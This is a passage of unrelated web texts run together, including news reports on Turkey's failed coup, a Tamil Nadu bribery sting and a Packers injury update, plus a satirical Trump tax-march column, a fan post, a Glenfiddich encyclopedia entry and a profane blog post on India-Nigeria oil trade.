practice sessions allowing them to become accustomed to the terrain. It claims there is a fear within the SAS of a lowering of standards, and quotes a former officer who says there is a feeling that selection is being made "softer and easier". Professor George Havenith, a specialist in environmental physiology and ergonomics who gave evidence at the inquest, told the BBC the special forces needed a "culture change" so existing rules were followed, rather than new guidelines. -ISTANBUL (Reuters) - Tens of thousands of supporters of Turkey’s ruling and main opposition parties, usually bitter foes, rallied together on Sunday in support of democracy following a failed military coup as President Tayyip Erdogan tightens his grip on the country. Demonstrators held a cross-party “Republic and Democracy” rally in Istanbul’s central Taksim Square in a spirit of unity following the failed coup, in which at least 246 people were killed and more than 2,000 injured. In a rare move, pro-government channels broadcast a live speech from the podium by main opposition leader Kemal Kilicdaroglu. “This is a day to unite, a day to stand up against coups and dictatorial regimes, a day to let the voice of the people be heard,” he said at the rally, organised by his secularist opposition CHP but also backed by the ruling Islamist-rooted AK Party and by other opposition groups. “We are all together in Taksim today. Today is a day we made history all together.” Erdogan will probably try to capitalise on the large size of the crowd of all political persuasions to try and reassert full control over the country, a NATO ally and an important partner in the U.S.-led fight against Islamic State. In another demonstration of unity after the coup, which was staged by a faction within the armed forces, the head of Turkey’s air force issued a rare statement stressing “absolute obedience” to the chief of the military General Staff. Some members of the air force were involved in the coup. The chief of the military General Staff, Hulusi Akar, who was held hostage by the plotters on the night of July 15, condemned the plotters on Sunday as “cowards in uniform” who had greatly harmed the nation and the army. Erdogan, who narrowly escaped capture and possible death during the attempted coup, has declared a state of emergency, allowing him to sign laws without prior parliamentary approval in a drive to root out supporters of the coup. His critics fear he is using the abortive coup to wage an indiscriminate crackdown on dissent. Turkish authorities have suspended, detained or placed under investigation more than 60,000 soldiers, police, judges, teachers, civil servants and others in the past week. Prime Minister Binali Yildirim said on Saturday authorities had taken around 13,000 people into custody over the coup attempt, including 8,831 soldiers. He pledged they would have a fair trial. Rights group Amnesty International said it had received credible evidence of detainees being subjected to beatings and torture, including rape, since the coup attempt. Supporters of various political parties gather in Istanbul's Taksim Square and wave Turkey's national flags before the Republic and Democracy Rally organised by main opposition Republican People's Party (CHP), Turkey, July 24, 2016. REUTERS/Baz Ratner “It is absolutely imperative that the Turkish authorities halt these abhorrent practices and allow international monitors to visit all these detainees in the places they are being held,” said Amnesty’s Europe director John Dalhuisen in a statement. Erdogan has extended the maximum period of detention for suspects from four days to 30, a move Amnesty said increased the risk of torture or other maltreatment of detainees. But for now, the crackdown appears to be broadly popular. “The state of emergency is a good thing and it’s good that many people have been arrested and that the length of detentions has been extended,” said demonstrator Harun Kalyancu, 34, a furniture designer and supporter of the ruling party. “If people lost their jobs they must be guilty.” Zuhal Tolbert, 56, who is retired, said the government should be more inclusive. “The government has to think about the mistakes they have made they have to think about the other half of the population. (who did not vote for them),” she said. “We all have to come together.” SHOW OF UNITY Erdogan has accused U.S.-based Muslim cleric Fethullah Gulen, who has many followers in Turkey, of masterminding the abortive coup. In his first decree Erdogan ordered the closure of thousands of private schools, charities and foundations with suspected links to Gulen, who denies involvement in the coup. The CHP and other political parties swiftly joined the ruling Islamist-rooted AKP in condemning the coup attempt, mindful of four other military interventions in Turkey in the past 60 years. The last full-scale coup in 1980 led to mass arrests of politicians and others, torture and executions. Taksim Square, like much of Istanbul and other cities, is awash with Turkish flags and CHP supporters were also carrying pictures of their hero Kemal Ataturk, the soldier who founded the secular republic on the ashes of the Ottoman Empire in 1923. Supporters of Erdogan’s AKP, which has ruled Turkey since 2002, have generally tended to use religious symbols and rhetoric. But the coup has united both sides in a blaze of nationalist fervour. Istanbul’s AKP mayor, Kadir Toptas, has provided free public transport for the rally. Opposition parties have mixed backing for purging coup supporters with calls for reconciliation and restraint. Slideshow (4 Images) “Turkey should completely be purified from the rule of the putsch,” said a “Taksim Declaration” issued by the CHP’s Kilicdaroglu. “The state should not be governed by anger and revenge. The culprits of the putsch should be tried lawfully with the understanding of abiding by the rule of law,” it added. Turkey’s Supreme Military Council (YAS) will meet under Erdogan’s supervision on July 28. Erdogan told Reuters in an interview on Thursday that he would restructure the armed forces and bring in “fresh blood”. After the coup, Western countries pledged support for democracy in Turkey, but have also expressed concern over the scale of subsequent purges of state institutions. -This IS the umbrella you've been looking for. Hold on to the Lightsaber hilt and protect yourself from the rain. Anodized shaft in the appropriate color of the saber blade. Carrying sheath (with shoulder strap) included. Beyond the Outer Rim, spins a stormy planet. Long, long ago, climate change led to all the continents being submerged - forcing the inhabitants to build cities on stilts. The planet is, of course, known (by the few who know) as Kamino. Apart from always being rainy, it's a place famous for two exports: clones and Star Wars Lightsaber Umbrellas. While we can't sell you any clones (against Republic Law), we sure can sell you the 'brellas! These Star Wars Lightsaber Umbrellas are just freaking awesome. The hilts have been scaled down a bit, so they are very comfortable to hold. And while the shafts don't light up, they are anodized (and a little sparkly) in the proper blade color. The canopy part even has the saber owner's affiliation insignia (Jedi or Imperial) silk-screened on it. These Star Wars Lightsaber Umbrellas are ready to turn heads while keeping yours dry! If you don't use one of these Star Wars Lightsaber Umbrellas, you will get wet when it rains. And then Vader will sadly bellow, "Nooooooooo!" Star Wars Lightsaber Umbrellas -We're not alone – but the universe may be less crowded than we think There may be far fewer galaxies further out in the universe then might be expected, according to a new study led by Michigan State University. Over the years, the Hubble Space Telescope has allowed astronomers to look deep into the universe. The long view stirred theories of untold thousands of distant, faint galaxies. The new research, appearing in the current issue of the Astrophysical Journal Letters, however, offers a theory that reduces the estimated number of the most distant galaxies by 10 to 100 times. “Our work suggests that there are far fewer faint galaxies than we once previously thought,” said Brian O’Shea, MSU associate professor of physics and astronomy. “Earlier estimates placed the number of faint galaxies in the early universe to be hundreds or thousands of times larger than the few bright galaxies that we can actually see with the Hubble Space Telescope. We now think that number could be closer to ten times larger. O’Shea and his team used the National Science Foundation’s Blue Waters supercomputer to run simulations to examine the formation of galaxies in the early universe. The team simulated thousands of galaxies at a time, including the galaxies’ interactions through gravity or radiation. The simulated galaxies were consistent with observed distant galaxies at the bright end of the distribution – in other words, those that have been discovered and confirmed. The simulations didn’t, however, reveal an exponentially growing number of faint galaxies, as has been previously predicted. The number of those at the lower end of the brightness distribution was flat rather than increasing sharply, O’Shea added. These simulations will be tested further when the much-anticipated James Webb Space Telescope comes online in late 2018. The improved technology will afford astronomers even more-detailed views of space than the amazing images that the Hubble has produced in recent years. The Hubble Space Telescope can see the tip of the iceberg of the most-distant galaxies, said Michael Norman, co-author of the paper and director of the San Diego Supercomputer Center at the University of California, San Diego. While the James Webb telescope will improve views of distant galaxies, the telescope has a relatively small field of view. As a result, the observations must take into account cosmic variance – the statistical variation in the number of galaxies from place to place. That’s what makes these simulations pertinent even as improved technology becomes available, O’Shea said. “A deeper understanding based on theory may be necessary to correctly interpret what’s being seen, such as high redshift survey results,” he said. In addition to O’Shea and Norman, the research team also included John Wise, an assistant professor at the Georgia Institute of Technology, and Hao Xu, a postdoctoral research associate at the University of California, San Diego. The research was funded by the National Science Foundation and NASA. -Thou who seek solitude. We breathe gently. We watch the unexpected; We smile cleverly, We kindle the most intended. Then what does the prophecy proclaim? Our thoughts are haunted, Our actions are wounded. We live with no freedom. We move with permission; We cry with no reason, We bonded with discretion. One run away from memory. Other mocked on his grave; Millions follow the decree, Solitude is all thou crave. The Star of Hope then shines in the sky, Thou shall not live with fear, Thou shall not believe what thy hear. Decades have withered away, Now cast yourself from the most desired clay. Walk into the realm of oneself. Its awaiting; Learn to know more of your self. Its still awaiting. Thou who seek solitude. Shall seek happiness; Nothing could be more happier than to know oneself. Breathe-in closed doors. Let your mind explore; Awaken your guilt. Awaken your fear, Awaken the memory you ignore to hear. Thou shall then seek the answers to all, What prophecy had proclaimed, you shall have it all. Your thoughts will not stale, Your actions will harmlessly inhale. Thou who seek solitude. Shall always seek freedom; (and) Nothing could be more free-er than to cherish your own wisdom. Gravity-Shatters now has its own Facebook page.Join our community for Inspired Living! facebook.com/gravityshatters. -People protest against then–President-elect Donald Trump in Harrisburg, Pennsylvania, on Dec. 19. Jonathan Ernst/Reuters Update, Jan. 26, 2017, at 10 a.m.: If you’re interested in marching on Tax Day, check out TaxMarch.org. It turns out there are only two certainties in life: death and Donald Trump not releasing his taxes. Before he ran for president, Trump promised he’d release his tax returns if he indeed ran for office. When he ran, he said he’d release them after the Internal Revenue Service finished its “audit.” Now that he’s president, his adviser Kellyanne Conway announced he won’t ever release them because “people didn’t care.” Conway then reversed course to say maybe he will release them after the audit after all, and she’s probably one more TV interview away from claiming he already released them and “every tax expert said they were tremendous.” At this point, it’s clear that Trump isn’t going to show us his tax records unless he feels like he has no other choice. And without those tax returns, we won’t have the basic information we need to unravel Trump’s entanglements with foreign governments, to discern whether he used illegal tax shelters, or to figure out if he’s actually as rich as he claims to be. Plus, in the wake of Trump’s comment that less than 200,000 inaugural attendees was actually 1.5 million, maybe someone needs to double-check his math. The Women’s March on Washington and its sister marches around the nation inspired and empowered millions of Americans. Everyone who took to the streets this past weekend is now asking two big questions: “What email list did I just end up on?” and “What’s next?” On Sunday evening, I offered up a possible answer to that latter question, sending out the following tweet while sipping on my arugula latte. (They’re delicious—ask any member of the coastal elite.) Trump claims no one cares about his taxes. The next mass protest should be on Tax Day to prove him wrong. — Frank Lesser (@sadmonsters) January 22, 2017 Before I knew it, the idea had spread like the STDs Trump claims he avoided during his “personal Vietnam.” While I wasn’t the first person to come up with the idea for a Tax Day march, I now find myself the clearly unprepared leader of a nationwide movement fueled by Twitter-based rage. In a sense, I am now exactly like Trump. But this movement isn’t about me! I am just your voice, your angry voice, commanding you to—whoa. Sorry. Those retweets really go to your head. The march took a step closer to reality when comedian Patton Oswalt suggested the hashtag #TrumpTaxesMarch and added his own urgent message: I ENDORSE THIS 100%. This is the next march. This is the next demonstration. Please RT, everyone. Every city. https://t.co/lgVLknPnnG — Patton Oswalt (@pattonoswalt) January 23, 2017 Beau Willimon, the showrunner of House of Cards, spelled out additional steps and messaging, and did it more eloquently and succinctly than I ever could. Plus, it’s more fun to read about politics if you do it in Frank Underwood’s creepy Southern drawl. Somebody file for the Sat 4/15 permit: WH ellipse or IRS HQ. We need to show up on his doorstep with our tax filings, demanding his returns. — Beau Willimon (@BeauWillimon) January 23, 2017 1. Let's get to work on a Tax Day Protest in DC and at local IRS offices around the country to demand that Trump release his returns.. — Beau Willimon (@BeauWillimon) January 23, 2017 2. Rules for event permit in DC. Must meet with special events task force at least 60 days out (2/15 for 4/15) https://t.co/hJgzZb6419… — Beau Willimon (@BeauWillimon) January 23, 2017 3. You can also organize in your local area, in front of or near your local IRS office. Contact local PD for permit rules and details. — Beau Willimon (@BeauWillimon) January 23, 2017 4. Show up with your tax filings. Send the message that if you are paying taxes then the President (whom YOU pay) should release his returns — Beau Willimon (@BeauWillimon) January 23, 2017 5. If he has nothing to hide, then there should be no harm in proving that to his constituents, the taxpayers of America. — Beau Willimon (@BeauWillimon) January 23, 2017 Although that plan sounds perfect to me, I do want to add a few more thoughts about what I hope this march can accomplish. I’d also like to suggest the one thing every modern political movement needs: a dumb hat. The Trump Taxes March should be part of a larger protest about income inequality and Trump’s tax cuts for the rich—or more accurately, Trump’s tax cuts for his children. (The so-called death tax, which only affects the portion of an inheritance that exceeds $5.45 million, should be renamed “the Ivanka tax.”) We follow in the footsteps of the Occupy movement and the elderly shuffles of Bernie Sanders. But the Trump Taxes March also has a simple, achievable goal: to get President Trump to release his tax returns, something every other president has done for the past 40 years. His administration is already being sued by “constitutional scholars, Supreme Court litigators, and former White House ethics lawyers” over payments from foreign governments that might violate the Constitution’s Emoluments Clause, so we know his hands aren’t clean—which is surprising because it should only take seconds to wash them, given that they’re so tiny. To be clear, we don’t want to see his tax returns because we’re the financial equivalent of a lecherous pervert who barges into underage girls’ dressing rooms while they’re changing. We’re not trying to find out how much money he spent taking a married woman furniture-shopping before he “moved on her like a bitch.” We want to show President Trump that, no matter what his advisers may say, the American people do care. We care if our president has unseemly ties to foreign or domestic interests. We care if our president says he’ll do something and then straight up doesn’t do it. That’s why the official White House petition requesting Trump to release his tax returns already has more than 270,000 signatures. Using Trump math, that’s more than 1.75 million. Huge! If you don’t care that we care about this—if you agree with Conway’s claim that “Most Americans are very focused on what their tax returns will look like while President Trump is in office, not what his look like”—we will show you that “most Americans” don’t agree. And we’ll continue to show you by marching from Inauguration Day through Tax Day until Election Day. So show us your tax returns, President Trump. We might even be willing to give you an extension if you need more time to convert the rubles to dollars. -CHENNAI: In what could have serious ramifications over the future of the Edappadi K Palaniswami government in Tamil Nadu, a sting investigation carried out by Times Now and Moon TV has exposed that AIADMK legislators were paid bribes by party general secretary V K Sasikala , in return for supporting Palaniswami during the trust vote held on February 18.The sting investigation also jeopardises the fate of O Panneerselvam (OPS) camp as an OPS sympathiser is caught on camera discussing money that was paid by the former chief minister's camp in a bid to get MLAs to switch sides.Palaniswami won the trust vote held in the state assembly on the back of support offered by 122 AIADMK legislators.The sting tapes – released by Times Now on Tuesday – shows South Madurai legislator S S Saravanan, who reportedly switched to the OPS camp in a sensational fashion by escaping the Koovathur resort.Long time AIADMK party man and Sulur MLA R Kanagaraj, who voted in favour of Palaniswami, is the other person caught on record, in the first of a four-part expose aired by the news channel."If they had given what was promised in that second, many wouldn't have switched camps. All this was not needed...if they had asked us to go home and come back again, we would have gone there like a herd. That's how we are. Have you seen anyone raising question in the AIADMK?" said Saravanan.Despite the cash restriction, three MLAs allegedly hit the jackpot, according to Saravanan. In the sting video, he named Kangeyam legislator U Thaniyarasu, Nagapattinam constituency representative M Thamimun Ansari and actor/politician S Karunaas, who is the Tiruvadanai MLA, as having accepted Rs 10 crore as bribe. "They got Rs 10 crore. Others have not even received Rs 1 crore," he said.Saravanan was speaking to Shahnawaz Khan, managing director of Moon TV, when he revealed the party atmosphere prevalent at the Golden Bay resort."There was nothing wrong (in Koovathur). There was liquor...Karunaas will drink. It was not like how it was reported in TV and news that MLAs were threatened," Saravanan said. Saravanan’s words contradicted with what he had said after he "escaped" from Koovathur resort. Then he had alleged that the MLAs lodged in the resort had been threatened.Saravanan then spilled the beans on the OPS camp saying that those who were sidelined by late former chief minister J Jayalalithaa had reorganised to form a rival faction. "Those who were sidelined by Amma (Jayalalithaa) are a team now. Dr Maitreyan, KP Munusamy, PH Pandian, Natham Viswanathan and OPS. They all fell out of Amma's favour," he said.He then explained the rationale behind switching to OPS camp. "If I was with EPS (Palaniswami), I would have been one among the crowd. Since I am here (with OPS) I am being identified...I would have been one among them after receiving Rs 2 crore. Now, there is a name for me and I have started to do politics," he said.Sulur MLA Kangaraj acknowledged that the Sasikala camp had promised bribe for votes. "Yes, they promised us money and gold...some of them have received it and some of them haven't and the process is going on," he said in the sting video recorded after the trust vote.The situation unfolded at the Golden Bay Beach Resort in Koovathur after OPS drew battle lines against Sasikala resulted in a split in the AIADMK. Explaining the extended stay at the resort, Kanagaraj said,"...we were in Koovathur to save the government. We thought it was for a day and it got extended due to governor's non-availability. If he had arrived that day (February 9), we would have wrapped it up in a day or two."After her election as legislative party leader on February 5, OPS who stepped down as chief minister revolted against Sasikala on the night of February 8. An emergency meeting convened the next day ended with the Sasikala camp herding more than 120 MLAs into buses and eventually taking them to the Koovathur resort.The state administration entered a limbo as the MLAs remained incommunicado with high drama unfolding on a daily basis leading up to the trust vote on February 18, when Palaniswami proved his majority. -Apollo Nida Engaged In Prison!!! Apollo Nida Engaged In Prison! EXCLUSIVE Apollo Nida will appear on 'Real Housewives of Atlanta' from prison and he's bringing his new mystery fiancée along for the ride too ... TMZ has learned. Sources close to production tell us Apollo started dating the woman 2 years ago ... before he started his prison sentence, and they got engaged a couple months ago. We're told the woman lives in NJ, not far from the the federal prison where he's serving his sentence ... and she visits twice a week. She and Apollo have both shot scenes for the upcoming 'RHOA' season -- he's on by phone -- and we're told producers want to keep her identity under wraps until the episode airs. The 2 big questions: NO, the fiancée did not shoot scenes with Apollo's ex, but Phaedra Parks' reaction to the relationship was captured -- and NO ... the fiancée doesn't have a ring. Diamonds are frowned upon in federal lockup. -Image caption Much social housing, like these 1970s flats in Cumbernauld, was build for larger households The Scottish parliament has been asked to change the law to prevent tenants being evicted because of changes to housing benefit. Mike Dailly of the Govan Law Centre said that people could be homeless because of the UK government reforms. He said Holyrood should act to minimise the consequences of the change. But, speaking on Sunday Politics Scotland, SNP MSP Linda Fabiani claimed little could be done until the Scottish parliament has more powers. The changes to housing benefit are intended to encourage mobility by discouraging tenants from staying in homes deemed too large for their needs. Mr Dailly said: "This is the new poll tax in Scotland. It's a vicious attack on the low paid and poor. Media playback is unsupported on your device Media caption Many tenants are worried about the changes to housing benefit "The Scottish government can do a lot to prevent people from being evicted." The law on benefits is a reserved matter, controlled by the UK parliament at Westminster, but Mr Dailly said Holyrood could change the law in areas that it does control. "What we are calling on is for the Scottish government to change housing law so that if you incur 'bedroom tax' arrears that should be treated as an ordinary debt but not allow you to be evicted," he suggested. Costs Speaking on the same programme, Ms Fabiani said the Scottish parliament's powers were limited. "I'm actually not convinced by this proposal because I don't think it'll particularly help the people who have the problem," she said. "I also think it makes it very difficult for social landlords who have to pass on that cost to the remaining tenants. "For me, the answer is that this (change to housing benefit) should not be happening." Scottish Liberal Democrats leader Willie Rennie insisted that cuts to the benefit bill are essential. "No change is not an option," he said. "We've got a combination of a housing crisis, with about 187,000 people on waiting lists, and a financial crisis." -GREEN BAY, Wis. -- Jordy Nelson’s season is likely over, and the same looks to be true for Davante Adams. The Green Bay Packers’ starting receivers are unlikely to play in Sunday’s regular-season finale at Detroit, leaving both of their futures in doubt. Nelson suffered a shoulder injury in Saturday’s shutout loss to Minnesota, and coach Mike McCarthy said the 32-year-old is a long shot to play against the Lions. Adams remained in the concussion protocol on Wednesday and hasn’t played since he suffered his second head injury of the season on Dec. 17 at Carolina. The Packers could be staring at a future without Davante Adams or Jordy Nelson ... or both. Benny Sieu/USA TODAY Sports “It’ll be tough for him to make this week,” McCarthy said Wednesday. Nelson’s production has slipped this season, and even the return of quarterback Aaron Rodgers from his broken collarbone for the Panthers game didn’t jump-start the receiver. Nelson was leading the league with six touchdown receptions when Rodgers got hurt in Week 6 but hasn’t caught one since. He has 53 catches (his fewest since 2010) for 482 yards (his fewest since 2009). Nelson has one year left on his contract and is scheduled to make $10.25 million in salary and bonuses next season. 2018 NFL DRAFT Round 1: Thursday, 8 p.m., ESPN/ESPN App Rounds 2-3: Friday, 7 p.m., ESPN/ESPN App Rounds 4-7: Sat., noon, ESPN/ABC/ESPN App Where: Arlington, Texas NFL draft coverage » | Full order: 1-256 » • Kiper's final Mock Draft: 1-32 » • McShay's final Mock Draft: 1-32 » • Kiper and McShay's draft reset » • Draft predictions for all 32 teams » • Draft Herbies: Kirk's best of the best » • McShay's draft buzz: What I'm hearing » • McShay's top five needs for every team » The Packers might have to consider cutting Nelson or asking him to take a pay cut if they re-sign Adams, who would be a free agent in March if a new deal isn’t worked out by then. Adams has a team-high 74 catches for 885 yards and 10 touchdowns. The 25-year-old’s production didn’t change much with Brett Hundley at quarterback. Of Adams’ 10 touchdowns, five came from Rodgers and five from Hundley. McCarthy wouldn’t say whether the Packers have intentionally shut down Adams for the season because they’re out of the playoffs. “He hasn’t been cleared; that’s Davante’s status,” McCarthy said. Without Adams or Nelson, expect rookie Michael Clark to see more action. The 6-foot-6 former college basketball player caught three passes for 36 yards on Saturday against the Vikings in his first career snaps in a regular-season game. The Packers also are expected to be without running back Aaron Jones, who suffered a knee injury against the Vikings. -tennydr10confidential: The way he smiles that it seems to brighten up your day. The way he laughs in a way that is very contagious. The way he cries so you want you to cry with him. The way he does that cute little chipmunk giggle(if only gifs had sound) The way he looks in glasses with them on and while taking them off. The way he does that cute winky eye tongue thing that is just too cute and sexy for words. The way he can laugh and joke about embarrassing things such as his face being on panties. The way he gets frustrated after repeating himself over and over again. The way he dances and isn’t afraid to be silly and foolish while doing so. The way he is so humble and appreciative when receiving awards or other acknowledgements. The way he pours his heart into helping others by working with various charities. The way he licks his lip when he is listening or thinking about what to say. The way his left eyebrow seems to raise up and have a mind of it’s own. The way his cute little suck you in dimple shows sometimes when he sucks in cheeks. The way he can be such a lovable obsessive geeky dork just like us and knows it. The way he interacts with his fans to make sure they have special moment even it means ruffling his hair. The way he gets all excited when he knows or remembers things all of a sudden. The way that he still loves things like Doctor Who and fanboys over them. The way he treats kids like they are his equals and no lesser than he is. The way he does voice acting or recording and actually acts out what his character is doing. The way he sings even when he just lip syncs is just purely mesmerizing. The way he kisses gently and passionately, so you desire to be kissed by him. The way he hugs with warmth and love, so you feel like your getting a hug from him too. The way he can make you feel smart and special even through an educational app. The way he shakes one’s hand. (this I know from actually meeting him, it’s really firm, but nice and inviting, can’t really explain it) The way he acts all silly,cute, and childish sometimes, which is really really sweet. The way he genuinely seems pleased when he has done something. The way he tries to protect the feelings and the well-being of his friends and coworkers. The way he says goodnight to make you feel all warm and fuzzy on the inside. The way he expresses his love for playing or giving roles complex darker characters. Finally the way he was he was genuinely shocked and surprised when he found out he won NTA Special Recognition Award. I could make more ways as to why I love David Tennant because there are just so many, but I think this will suffice for now. I love this man from the bottom of my hearts. He is not only really handsome and a great actor, but he has good heart and a soul, and is the kindest most generous person you could ever hope to meet. He is wonderful and brilliant, and I am beyond proud to be a fan of his. -tennydr10confidential aka Katie -Quotes on Cycling and Society "Integrated cycling means putting safety, not ridership, first." - me. "When a cow follows the herd, it ends up at a slaughterhouse. When cyclists use bike facilities, they end up at an intersection, often with the same unhappy result as the cow. Use the road - it's safer!" - me again. "Vehicular cycling techniques have not been tried and found difficult. They have been presumed difficult and not tried." - P.M. Summer, paraphrasing G.K. Chesterton "If American bicycle advocacy leaders had championed the civil rights movement, the 'Dream' would have been reserved seating in the back of the bus." - Jack R. Taylor "The task of the 'protected' bicycle facility is to hide collision participants from each other right up to the point of impact." - John Schubert "Stress, obesity, heart disease, traffic congestion, pollution, peak oil, global climate change. If only there were a simple solution." - unknown "Position on the road is by far the most important influence that a cyclist has over his safety. Indeed, the loss of this ability to influence the actions of others is one reason why road-side cycle tracks and shared footways increase danger at junctions. Many cyclists fail to position themselves properly because of their fear of traffic, yet it is this very fear that puts them most at risk. Encouraging unsafe behaviour by directing cyclists to more hazardous positions does nobody any favours." - John Franklin " It ain't what you don't know that gets you into trouble. It's what you know for sure that just ain't so " - Mark Twain -Glenfiddich Distillery Wooden barrels stacked outside the main reception. The Glenfiddich Solera Reserve 15-year single malt scotch whisky. Glenfiddich is a Speyside single malt Scotch whisky owned and produced by William Grant & Sons in Dufftown, Scotland. Glenfiddich means "valley of the deer" in Scottish Gaelic, which is why the Glenfiddich logo is a stag.[1][2] Glenfiddich is the world's best-selling single-malt whisky[3] and also the most awarded at the International Spirits Challenge.[4] History [ edit ] The Glenfiddich Distillery was founded in 1886 by William Grant in Dufftown, Scotland, in the glen of the River Fiddich.[5] The Glenfiddich single malt whisky first ran from the stills on Christmas Day, 1887.[6] In the 1920s, with prohibition in force in the USA, Glenfiddich was one of a very small number of distilleries to increase production. This put them in a strong position to meet the sudden rise in demand for fine aged whiskies that came with the repeal of prohibition.[7][8] In the 1950s, the Grant family built up an onsite infrastructure that included coppersmiths to maintain the copper stills, and a dedicated cooperage that is now one of the very few remaining in distilleries.[9] In 1956 the Grant's brand launched the now-iconic triangular bottle, designed by Hans Schleger.[10] Following difficult times in the 1960s and '70s, many small, independent distillers were bought up or went out of business. In order to survive, W. Grant & Sons expanded their production of the drink, and introduced advertising campaigns and a visitors' centre.[11] In this period they also took the decision to begin marketing single malt as a premium brand in its own right, effectively creating the modern single malt whisky category.[4] Later, W. Grant & Sons was one of the first distilleries to package its bottles in tubes and gift tins, as well as recognising the importance of the duty-free market for spirits. This marketing strategy was successful, and Glenfiddich has now become the world's best-selling single malt.[12] It is sold in 180 countries,[6] and accounts for about 35% of single malt sales.[13] Glenfiddich is currently managed by the fifth generation of William Grant's descendants.[14] In September 2014, William Grant & Sons agreed to acquire Drambuie for an undisclosed price rumoured to be in the region of £100 million.[15] Production [ edit ] Glenfiddich whisky is produced at the Glenfiddich Distillery in Dufftown, Moray. Glenfiddich is a single malt Scotch whisky, this means the whisky was distilled at a single distillery using a pot still distillation process and must be made from a mash of malted grain. Onsite there are 32 distinctively-shaped "swan neck" copper pot stills. These stills are smaller than those now in use at most other major distilleries. All stills are handmade and Glenfiddich employs a dedicated team of craftsmen and coppersmiths to maintain them.[16] These stills have a capacity of around 13,000,000 litres of spirit. The water source for Glenfiddich Whisky is The Robbie Dhu springs nearby to the distillery. Glenfiddich is matured in many different casks such as: Rum casks from the Caribbean Bourbon whiskey barrels from America Sherry butts from Jerez in Spain Once the spirit has matured, the casks are emptied and the whisky is "cut" with pure Robbie Dhu spring water. Glenfiddich has a dedicated bottling hall onsite along with a large bottling plant in Bellshill. Whiskies [ edit ] Glenfiddich Age-Statement Whiskies, by years of production, since 1992 Age 1992–1994 1994–1996 1996–1998 1998–2000 2000–2002 2002–2004 2004–2006 2006–2008 2008–2010 2010–2012 2012— 12 Year Old Caoran Reserve Glenfiddich 12 Year Old 14 Year Old Glenfiddich Rich Oak 15 Year Old Classic Solera Reserve Glenfiddich 15 Year Old 15 Year Old 15 Year Old Cask Strength (renamed Distillery Edition) 18 Year Old Excellence Ancient Reserve Glenfiddich 18 Year Old 21 Year Old Millennium Reserve Havana Reserve Gran Reserva Glenfiddich 21 Year Old 30 Year Old Glenfiddich 30 Year Old 38 Year Old Glenfiddich Ultimate 38 40 Year Old Glenfiddich 40 Year Old 50 Year Old Glenfiddich 50 Year Old 64 Year Old 1937 Rare Collection Core Range [ edit ] Glenfiddich 12 year old Glenfiddich 15 year old Glenfiddich 18 year old Glenfiddich 21 year old Liqueur [ edit ] Glenfiddich Malt Whisky Liqueur - Until 2011 Glenfiddich produced a liqueur that was 40% alcohol by volume, and sold in 50 cl (500 ml) bottles. Swan necked copper stills in the distillery. Critical acclaim [ edit ] Glenfiddich's whiskies have performed well at international spirits ratings competitions. The 12, 15, 18, and 21-year offerings have all rated well in the San Francisco World Spirits Competition and the Beverage Testing Institutes' reviews.[17] On balance, the 15-year whisky has performed the best, receiving three double-gold medals (in four years) at the 2007–2010 San Francisco competitions and a score of 91 with the Beverage Testing Institute.[18] Glenfiddich Awards [ edit ] Started in 1970, Glenfiddich promoted the Glenfiddich Food and Drink Awards to honour distinguished writing and broadcasting in the fields of food and drink in the UK. In 2008, Glenfiddich decided to discontinue distributing Food and Drink Awards, reviewing their "strategy, scope and potential application in some of Glenfiddich’s key markets outside the UK." Started in 1998, Glenfiddich promoted the Glenfiddich Spirit of Scotland Awards. The Glenfiddich Spirit of Scotland Awards were annual awards given to notable Scottish people. Glenfiddich sponsored the event, in association with The Scotsman newspaper. Nine awards were distributed for art, business, environment, food, music, screen, sport, writing and "Top Scot". A consulting panel nominated four people in each category, with the winner decided by a public vote. The "Top Scot" is an open award, with the public able to nominate anyone. The awards haven't been hosted since 2014. In popular culture [ edit ] See also [ edit ] References [ edit ] Coordinates: -Hello again fair and fanciful friends! It is I The Plaid Avenger, coming at you live from Nigeria where I have been partying all day with my main man Manmohan Singh….that would be Prime Minister Singh to you! But he ain’t no politician from Nigeria my brothers and sisters; he is the leader of India . So what’s this Indian brother doin’ hanging in western Africa ? I’m glad you asked! It’s got everything to do with India’s thirst for energy…two different types of energy to be exact, combining two different issues with two different Indian allies…but all the shit is going down at once! Dig it: Indian prime minister seeks more trade with oil-rich Nigeria India’s ties with Nigeria, Africa enter new era India eyes Nigeria energy PM moots strategic ties with Nigeria Manmohan To Bush: Difficulties In Implementing N-deal Singh’s Nuclear-Energy U-Turn Lets India Down Difficulties in n-deal operationalisation, Singh tells Bush Our main man from New Delhi has been meeting with the Nigerian President Umaru Yar’Adua today to firm up a whole shitload of commitments between the two countries. India and Nigeria want to work together to increase trade between the states; to form a united front to counter the current international financial systems which are not very ‘developing-country friendly’; and even to work together to ensure that India gets a primo spot on the UN Permanent Security Council…should that group ever get around to expanding. But mostly they talked about cash! Oops, I mean economic ties…that’s the more politically correct term for politicians… But dudes, we all know its about the dollars man! These two world leader cats were cementing trade deals and promising investment packages and doing everything they can to work together better. Nigeria is India’s largest trading partner on the planet, and the Nigerians are anxious about getting more basic manufactures and cheap shit from India , in return for some resources that the Nigerians hook up the Indians with. Africa as a continent is just loaded with resources that rich and poor countries alike are hungry for. Lots of resources! Dollars and resources! And the one resource in particular that India gets is…can you possibly even guess?….it’s oil! Nigeria is the world’s 8th largest exporter of oil on the planet right now, and India is the 6th largest user of oil on the planet….and here is the kicker: India ain’t got none of their own! None! They’ve got to import it all baby! So Singh and his boys from Bollywood can claim that they are hooking up with the Nigerians for a million and one different reasons…but we all know that it’s really all about that petroleum! India has got to have the oil, man! Oh BTW, when countries talk about getting oil nowadays, they refer to it as ‘energy security talks’ Ha! I got something you can secure! What the hell ever! You guys are talking about buying and selling oil, and the Avenger knows this! And Singh knows this too. India must have energy to continue on their path of development. They must have the go-go juice in order to build and operate all those new factories and industries which will be supplying the world with lots of cheap labor trinkets. India also has serious development in the high-end computer and software sectors too…and you need energy to keep those screens on as well. And there is the small matter of a billion people in the country that would like to have lights and TVs and microwave ovens and all that shit. Therefore, India must import more and more energy in order to keep their economy running….ergo, they import a fuck-ton of oil from Nigeria . But wait…I thought the world was trying to get away from oil dependence? Why don’t the Indians just use some other type of energy? Well, as stated above, India ain’t got no oil. They do have some coal, but that is awfully polluting fuel for a billion people to use. As is wood. Or dried cow dung. So India simply doesn’t have a lot of energy options. Oh! Oh….wait! Oh….Oh….Oh…I got it! Call on me teacher! I’ve got the answer! Call on me! My hand is up!…How about nuclear energy? Yeah! Damn I’m good. See , India already has nuclear technology; hell, it has a nuclear program and nuclear bombs! So they can just start making nuclear energy….right? Wrong! Check the other stories above for the ‘no to nukes’ bomb that Singh dropped today. Pun intended. US President Bush had to call back Indian Prime 